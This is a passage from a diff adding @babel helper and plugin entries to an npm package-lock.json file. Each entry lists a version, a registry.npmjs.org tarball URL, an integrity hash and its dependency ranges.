"@babel/helper-function-name": "^7.21.0", + "@babel/helper-member-expression-to-functions": "^7.21.0", + "@babel/helper-optimise-call-expression": "^7.18.6", + "@babel/helper-replace-supers": "^7.20.7", + "@babel/helper-skip-transparent-expression-wrappers": "^7.20.0", + "@babel/helper-split-export-declaration": "^7.18.6" + } + }, + "@babel/helper-create-regexp-features-plugin": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.10.4.tgz", + "integrity": "sha512-2/hu58IEPKeoLF45DBwx3XFqsbCXmkdAay4spVr2x0jYgRxrSNp+ePwvSsy9g6YSaNDcKIQVPXk1Ov8S2edk2g==", + "requires": { + "@babel/helper-annotate-as-pure": "^7.10.4", + "@babel/helper-regex": "^7.10.4", + "regexpu-core": "^4.7.0" + }, + "dependencies": { + "jsesc": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz", + "integrity": "sha1-597mbjXW/Bb3EP6R1c9p9w8IkR0=" + }, + "regexpu-core": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-4.7.0.tgz", + "integrity": "sha512-TQ4KXRnIn6tz6tjnrXEkD/sshygKH/j5KzK86X8MkeHyZ8qst/LZ89j3X4/8HEIfHANTFIP/AbXakeRhWIl5YQ==", + "requires": { + "regenerate": "^1.4.0", + "regenerate-unicode-properties": "^8.2.0", + "regjsgen": "^0.5.1", + "regjsparser": "^0.6.4", + "unicode-match-property-ecmascript": "^1.0.4", + "unicode-match-property-value-ecmascript": "^1.2.0" + } + }, + "regjsgen": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.5.2.tgz", + "integrity": "sha512-OFFT3MfrH90xIW8OOSyUrk6QHD5E9JOTeGodiJeBS3J6IwlgzJMNE/1bZklWz5oTg+9dCMyEetclvCVXOPoN3A==" + }, + "regjsparser": { + "version": "0.6.4", + "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.6.4.tgz", + "integrity": "sha512-64O87/dPDgfk8/RQqC4gkZoGyyWFIEUTTh80CU6CWuK5vkCGyekIx+oKcEIYtP/RAxSQltCZHCNu/mdd7fqlJw==", + "requires": { + "jsesc": "~0.5.0" + } + } + } + }, + "@babel/helper-define-map": { + "version": "7.10.5", + "resolved": "https://registry.npmjs.org/@babel/helper-define-map/-/helper-define-map-7.10.5.tgz", + "integrity": "sha512-fMw4kgFB720aQFXSVaXr79pjjcW5puTCM16+rECJ/plGS+zByelE8l9nCpV1GibxTnFVmUuYG9U8wYfQHdzOEQ==", + "requires": { + "@babel/helper-function-name": "^7.10.4", + "@babel/types": "^7.10.5", + "lodash": "^4.17.19" + } + }, + "@babel/helper-define-polyfill-provider": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.3.3.tgz", + "integrity": "sha512-z5aQKU4IzbqCC1XH0nAqfsFLMVSo22SBKUc0BxGrLkolTdPTructy0ToNnlO2zA4j9Q/7pjMZf0DSY+DSTYzww==", + "peer": true, + "requires": { + "@babel/helper-compilation-targets": "^7.17.7", + "@babel/helper-plugin-utils": "^7.16.7", + "debug": "^4.1.1", + "lodash.debounce": "^4.0.8", + "resolve": "^1.14.2", + "semver": "^6.1.2" + }, + "dependencies": { + "debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "peer": true, + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "peer": true + }, + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "peer": true + } + } + }, + "@babel/helper-environment-visitor": { + "version": "7.18.9", + "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.18.9.tgz", + "integrity": "sha512-3r/aACDJ3fhQ/EVgFy0hpj8oHyHpQc+LPtJoY9SzTThAsStm4Ptegq92vqKoE3vD706ZVFWITnMnxucw+S9Ipg==" + }, + "@babel/helper-explode-assignable-expression": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.10.4.tgz", + "integrity": "sha512-4K71RyRQNPRrR85sr5QY4X3VwG4wtVoXZB9+L3r1Gp38DhELyHCtovqydRi7c1Ovb17eRGiQ/FD5s8JdU0Uy5A==", + "requires": { + "@babel/traverse": "^7.10.4", + "@babel/types": "^7.10.4" + } + }, + "@babel/helper-function-name": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.21.0.tgz", + "integrity": "sha512-HfK1aMRanKHpxemaY2gqBmL04iAPOPRj7DxtNbiDOrJK+gdwkiNRVpCpUJYbUT+aZyemKN8brqTOxzCaG6ExRg==", + "requires": { + "@babel/template": "^7.20.7", + "@babel/types": "^7.21.0" + } + }, + "@babel/helper-get-function-arity": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.10.4.tgz", + "integrity": "sha512-EkN3YDB+SRDgiIUnNgcmiD361ti+AVbL3f3Henf6dqqUyr5dMsorno0lJWJuLhDhkI5sYEpgj6y9kB8AOU1I2A==", + "requires": { + "@babel/types": "^7.10.4" + } + }, + "@babel/helper-hoist-variables": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.18.6.tgz", + "integrity": "sha512-UlJQPkFqFULIcyW5sbzgbkxn2FKRgwWiRexcuaR8RNJRy8+LLveqPjwZV/bwrLZCN0eUHD/x8D0heK1ozuoo6Q==", + "requires": { + "@babel/types": "^7.18.6" + } + }, + "@babel/helper-member-expression-to-functions": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.21.0.tgz", + "integrity": "sha512-Muu8cdZwNN6mRRNG6lAYErJ5X3bRevgYR2O8wN0yn7jJSnGDu6eG59RfT29JHxGUovyfrh6Pj0XzmR7drNVL3Q==", + "requires": { + "@babel/types": "^7.21.0" + } + }, + "@babel/helper-module-imports": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.18.6.tgz", + "integrity": "sha512-0NFvs3VkuSYbFi1x2Vd6tKrywq+z/cLeYC/RJNFrIX/30Bf5aiGYbtvGXolEktzJH8o5E5KJ3tT+nkxuuZFVlA==", + "requires": { + "@babel/types": "^7.18.6" + } + }, + "@babel/helper-module-transforms": { + "version": "7.21.2", + "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.21.2.tgz", + "integrity": "sha512-79yj2AR4U/Oqq/WOV7Lx6hUjau1Zfo4cI+JLAVYeMV5XIlbOhmjEk5ulbTc9fMpmlojzZHkUUxAiK+UKn+hNQQ==", + "requires": { + "@babel/helper-environment-visitor": "^7.18.9", + "@babel/helper-module-imports": "^7.18.6", + "@babel/helper-simple-access": "^7.20.2", + "@babel/helper-split-export-declaration": "^7.18.6", + "@babel/helper-validator-identifier": "^7.19.1", + "@babel/template": "^7.20.7", + "@babel/traverse": "^7.21.2", + "@babel/types": "^7.21.2" + } + }, + "@babel/helper-optimise-call-expression": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.18.6.tgz", + "integrity": "sha512-HP59oD9/fEHQkdcbgFCnbmgH5vIQTJbxh2yf+CdM89/glUNnuzr87Q8GIjGEnOktTROemO0Pe0iPAYbqZuOUiA==", + "requires": { + "@babel/types": "^7.18.6" + } + }, + "@babel/helper-plugin-utils": { + "version": "7.20.2", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.20.2.tgz", + "integrity": "sha512-8RvlJG2mj4huQ4pZ+rU9lqKi9ZKiRmuvGuM2HlWmkmgOhbs6zEAw6IEiJ5cQqGbDzGZOhwuOQNtZMi/ENLjZoQ==" + }, + "@babel/helper-regex": { + "version": "7.10.5", + "resolved": "https://registry.npmjs.org/@babel/helper-regex/-/helper-regex-7.10.5.tgz", + "integrity": "sha512-68kdUAzDrljqBrio7DYAEgCoJHxppJOERHOgOrDN7WjOzP0ZQ1LsSDRXcemzVZaLvjaJsJEESb6qt+znNuENDg==", + "requires": { + "lodash": "^4.17.19" + } + }, + "@babel/helper-remap-async-to-generator": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.10.4.tgz", + "integrity": "sha512-86Lsr6NNw3qTNl+TBcF1oRZMaVzJtbWTyTko+CQL/tvNvcGYEFKbLXDPxtW0HKk3McNOk4KzY55itGWCAGK5tg==", + "requires": { + "@babel/helper-annotate-as-pure": "^7.10.4", + "@babel/helper-wrap-function": "^7.10.4", + "@babel/template": "^7.10.4", + "@babel/traverse": "^7.10.4", + "@babel/types": "^7.10.4" + } + }, + "@babel/helper-replace-supers": { + "version": "7.20.7", + "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.20.7.tgz", + "integrity": "sha512-vujDMtB6LVfNW13jhlCrp48QNslK6JXi7lQG736HVbHz/mbf4Dc7tIRh1Xf5C0rF7BP8iiSxGMCmY6Ci1ven3A==", + "requires": { + "@babel/helper-environment-visitor": "^7.18.9", + "@babel/helper-member-expression-to-functions": "^7.20.7", + "@babel/helper-optimise-call-expression": "^7.18.6", + "@babel/template": "^7.20.7", + "@babel/traverse": "^7.20.7", + "@babel/types": "^7.20.7" + } + }, + "@babel/helper-simple-access": { + "version": "7.20.2", + "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.20.2.tgz", + "integrity": "sha512-+0woI/WPq59IrqDYbVGfshjT5Dmk/nnbdpcF8SnMhhXObpTq2KNBdLFRFrkVdbDOyUmHBCxzm5FHV1rACIkIbA==", + "requires": { + "@babel/types": "^7.20.2" + } + }, + "@babel/helper-skip-transparent-expression-wrappers": { + "version": "7.20.0", + "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.20.0.tgz", + "integrity": "sha512-5y1JYeNKfvnT8sZcK9DVRtpTbGiomYIHviSP3OQWmDPU3DeH4a1ZlT/N2lyQ5P8egjcRaT/Y9aNqUxK0WsnIIg==", + "requires": { + "@babel/types": "^7.20.0" + } + }, + "@babel/helper-split-export-declaration": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.18.6.tgz", + "integrity": "sha512-bde1etTx6ZyTmobl9LLMMQsaizFVZrquTEHOqKeQESMKo4PlObf+8+JA25ZsIpZhT/WEd39+vOdLXAFG/nELpA==", + "requires": { + "@babel/types": "^7.18.6" + } + }, + "@babel/helper-string-parser": { + "version": "7.19.4", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.19.4.tgz", + "integrity": "sha512-nHtDoQcuqFmwYNYPz3Rah5ph2p8PFeFCsZk9A/48dPc/rGocJ5J3hAAZ7pb76VWX3fZKu+uEr/FhH5jLx7umrw==" + }, + "@babel/helper-validator-identifier": { + "version": "7.19.1", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.19.1.tgz", + "integrity": "sha512-awrNfaMtnHUr653GgGEs++LlAvW6w+DcPrOliSMXWCKo597CwL5Acf/wWdNkf/tfEQE3mjkeD1YOVZOUV/od1w==" + }, + "@babel/helper-validator-option": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.21.0.tgz", + "integrity": "sha512-rmL/B8/f0mKS2baE9ZpyTcTavvEuWhTTW8amjzXNvYG4AwBsqTLikfXsEofsJEfKHf+HQVQbFOHy6o+4cnC/fQ==" + }, + "@babel/helper-wrap-function": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.10.4.tgz", + "integrity": "sha512-6py45WvEF0MhiLrdxtRjKjufwLL1/ob2qDJgg5JgNdojBAZSAKnAjkyOCNug6n+OBl4VW76XjvgSFTdaMcW0Ug==", + "requires": { + "@babel/helper-function-name": "^7.10.4", + "@babel/template": "^7.10.4", + "@babel/traverse": "^7.10.4", + "@babel/types": "^7.10.4" + } + }, + "@babel/helpers": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.21.0.tgz", + "integrity": "sha512-XXve0CBtOW0pd7MRzzmoyuSj0e3SEzj8pgyFxnTT1NJZL38BD1MK7yYrm8yefRPIDvNNe14xR4FdbHwpInD4rA==", + "peer": true, + "requires": { + "@babel/template": "^7.20.7", + "@babel/traverse": "^7.21.0", + "@babel/types": "^7.21.0" + } + }, + "@babel/highlight": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.18.6.tgz", + "integrity": "sha512-u7stbOuYjaPezCuLj29hNW1v64M2Md2qupEKP1fHc7WdOA3DgLh37suiSrZYY7haUB7iBeQZ9P1uiRF359do3g==", + "requires": { + "@babel/helper-validator-identifier": "^7.18.6", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "requires": { + "color-name": "1.1.3" + } + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==" + }, + "js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==" + }, + "supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "@babel/parser": { + "version": "7.21.2", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.21.2.tgz", + "integrity": "sha512-URpaIJQwEkEC2T9Kn+Ai6Xe/02iNaVCuT/PtoRz3GPVJVDpPd7mLo+VddTbhCRU9TXqW5mSrQfXZyi8kDKOVpQ==" + }, + "@babel/plugin-proposal-async-generator-functions": { + "version": "7.10.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.10.5.tgz", + "integrity": "sha512-cNMCVezQbrRGvXJwm9fu/1sJj9bHdGAgKodZdLqOQIpfoH3raqmRPBM17+lh7CzhiKRRBrGtZL9WcjxSoGYUSg==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4", + "@babel/helper-remap-async-to-generator": "^7.10.4", + "@babel/plugin-syntax-async-generators": "^7.8.0" + } + }, + "@babel/plugin-proposal-class-properties": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.18.6.tgz", + "integrity": "sha512-cumfXOF0+nzZrrN8Rf0t7M+tF6sZc7vhQwYQck9q1/5w2OExlD+b4v4RpMJFaV1Z7WcDRgO6FqvxqxGlwo+RHQ==", + "requires": { + "@babel/helper-create-class-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + } + }, + "@babel/plugin-proposal-dynamic-import": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.10.4.tgz", + "integrity": "sha512-up6oID1LeidOOASNXgv/CFbgBqTuKJ0cJjz6An5tWD+NVBNlp3VNSBxv2ZdU7SYl3NxJC7agAQDApZusV6uFwQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4", + "@babel/plugin-syntax-dynamic-import": "^7.8.0" + } + }, + "@babel/plugin-proposal-export-default-from": { + "version": "7.18.10", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-export-default-from/-/plugin-proposal-export-default-from-7.18.10.tgz", + "integrity": "sha512-5H2N3R2aQFxkV4PIBUR/i7PUSwgTZjouJKzI8eKswfIjT0PhvzkPn0t0wIS5zn6maQuvtT0t1oHtMUz61LOuow==", + "peer": true, + "requires": { + "@babel/helper-plugin-utils": "^7.18.9", + "@babel/plugin-syntax-export-default-from": "^7.18.6" + } + }, + "@babel/plugin-proposal-json-strings": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.10.4.tgz", + "integrity": "sha512-fCL7QF0Jo83uy1K0P2YXrfX11tj3lkpN7l4dMv9Y9VkowkhkQDwFHFd8IiwyK5MZjE8UpbgokkgtcReH88Abaw==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4", + "@babel/plugin-syntax-json-strings": "^7.8.0" + } + }, + "@babel/plugin-proposal-nullish-coalescing-operator": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.18.6.tgz", + "integrity": "sha512-wQxQzxYeJqHcfppzBDnm1yAY0jSRkUXR2z8RePZYrKwMKgMlE8+Z6LUno+bd6LvbGh8Gltvy74+9pIYkr+XkKA==", + "requires": { + "@babel/helper-plugin-utils": "^7.18.6", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" + } + }, + "@babel/plugin-proposal-numeric-separator": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.10.4.tgz", + "integrity": "sha512-73/G7QoRoeNkLZFxsoCCvlg4ezE4eM+57PnOqgaPOozd5myfj7p0muD1mRVJvbUWbOzD+q3No2bWbaKy+DJ8DA==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4", + "@babel/plugin-syntax-numeric-separator": "^7.10.4" + } + }, + "@babel/plugin-proposal-object-rest-spread": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.10.4.tgz", + "integrity": "sha512-6vh4SqRuLLarjgeOf4EaROJAHjvu9Gl+/346PbDH9yWbJyfnJ/ah3jmYKYtswEyCoWZiidvVHjHshd4WgjB9BA==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4", + "@babel/plugin-syntax-object-rest-spread": "^7.8.0", + "@babel/plugin-transform-parameters": "^7.10.4" + } + }, + "@babel/plugin-proposal-optional-catch-binding": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.10.4.tgz", + "integrity": "sha512-LflT6nPh+GK2MnFiKDyLiqSqVHkQnVf7hdoAvyTnnKj9xB3docGRsdPuxp6qqqW19ifK3xgc9U5/FwrSaCNX5g==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.0" + } + }, + "@babel/plugin-proposal-optional-chaining": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.21.0.tgz", + "integrity": "sha512-p4zeefM72gpmEe2fkUr/OnOXpWEf8nAgk7ZYVqqfFiyIG7oFfVZcCrU64hWn5xp4tQ9LkV4bTIa5rD0KANpKNA==", + "requires": { + "@babel/helper-plugin-utils": "^7.20.2", + "@babel/helper-skip-transparent-expression-wrappers": "^7.20.0", + "@babel/plugin-syntax-optional-chaining": "^7.8.3" + } + }, + "@babel/plugin-proposal-private-methods": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.10.4.tgz", + "integrity": "sha512-wh5GJleuI8k3emgTg5KkJK6kHNsGEr0uBTDBuQUBJwckk9xs1ez79ioheEVVxMLyPscB0LfkbVHslQqIzWV6Bw==", + "requires": { + "@babel/helper-create-class-features-plugin": "^7.10.4", + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-proposal-unicode-property-regex": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.10.4.tgz", + "integrity": "sha512-H+3fOgPnEXFL9zGYtKQe4IDOPKYlZdF1kqFDQRRb8PK4B8af1vAGK04tF5iQAAsui+mHNBQSAtd2/ndEDe9wuA==", + "requires": { + "@babel/helper-create-regexp-features-plugin": "^7.10.4", + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-syntax-async-generators": { + "version": "7.8.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz", + "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==", + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-class-properties": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.10.4.tgz", + "integrity": "sha512-GCSBF7iUle6rNugfURwNmCGG3Z/2+opxAMLs1nND4bhEG5PuxTIggDBoeYYSujAlLtsupzOHYJQgPS3pivwXIA==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-syntax-dynamic-import": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz", + "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-export-default-from": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-export-default-from/-/plugin-syntax-export-default-from-7.18.6.tgz", + "integrity": "sha512-Kr//z3ujSVNx6E9z9ih5xXXMqK07VVTuqPmqGe6Mss/zW5XPeLZeSDZoP9ab/hT4wPKqAgjl2PnhPrcpk8Seew==", + "peer": true, + "requires": { + "@babel/helper-plugin-utils": "^7.18.6" + } + }, + "@babel/plugin-syntax-flow": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-flow/-/plugin-syntax-flow-7.18.6.tgz", + "integrity": "sha512-LUbR+KNTBWCUAqRG9ex5Gnzu2IOkt8jRJbHHXFT9q+L9zm7M/QQbEqXyw1n1pohYvOyWC8CjeyjrSaIwiYjK7A==", + "peer": true, + "requires": { + "@babel/helper-plugin-utils": "^7.18.6" + } + }, + "@babel/plugin-syntax-json-strings": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", + "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==", + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-jsx": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.18.6.tgz", + "integrity": "sha512-6mmljtAedFGTWu2p/8WIORGwy+61PLgOMPOdazc7YoJ9ZCWUyFy3A6CpPkRKLKD1ToAesxX8KGEViAiLo9N+7Q==", + "peer": true, + "requires": { + "@babel/helper-plugin-utils": "^7.18.6" + } + }, + "@babel/plugin-syntax-nullish-coalescing-operator": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz", + "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-numeric-separator": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz", + "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-syntax-object-rest-spread": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz", + "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==", + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-optional-catch-binding": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz", + "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==", + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-optional-chaining": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz", + "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==", + "requires": { + "@babel/helper-plugin-utils": "^7.8.0" + } + }, + "@babel/plugin-syntax-top-level-await": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.10.4.tgz", + "integrity": "sha512-ni1brg4lXEmWyafKr0ccFWkJG0CeMt4WV1oyeBW6EFObF4oOHclbkj5cARxAPQyAQ2UTuplJyK4nfkXIMMFvsQ==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-syntax-typescript": { + "version": "7.20.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-typescript/-/plugin-syntax-typescript-7.20.0.tgz", + "integrity": "sha512-rd9TkG+u1CExzS4SM1BlMEhMXwFLKVjOAFFCDx9PbX5ycJWDoWMcwdJH9RhkPu1dOgn5TrxLot/Gx6lWFuAUNQ==", + "peer": true, + "requires": { + "@babel/helper-plugin-utils": "^7.19.0" + } + }, + "@babel/plugin-transform-arrow-functions": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.10.4.tgz", + "integrity": "sha512-9J/oD1jV0ZCBcgnoFWFq1vJd4msoKb/TCpGNFyyLt0zABdcvgK3aYikZ8HjzB14c26bc7E3Q1yugpwGy2aTPNA==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "@babel/plugin-transform-async-to-generator": { + "version": "7.10.4", + 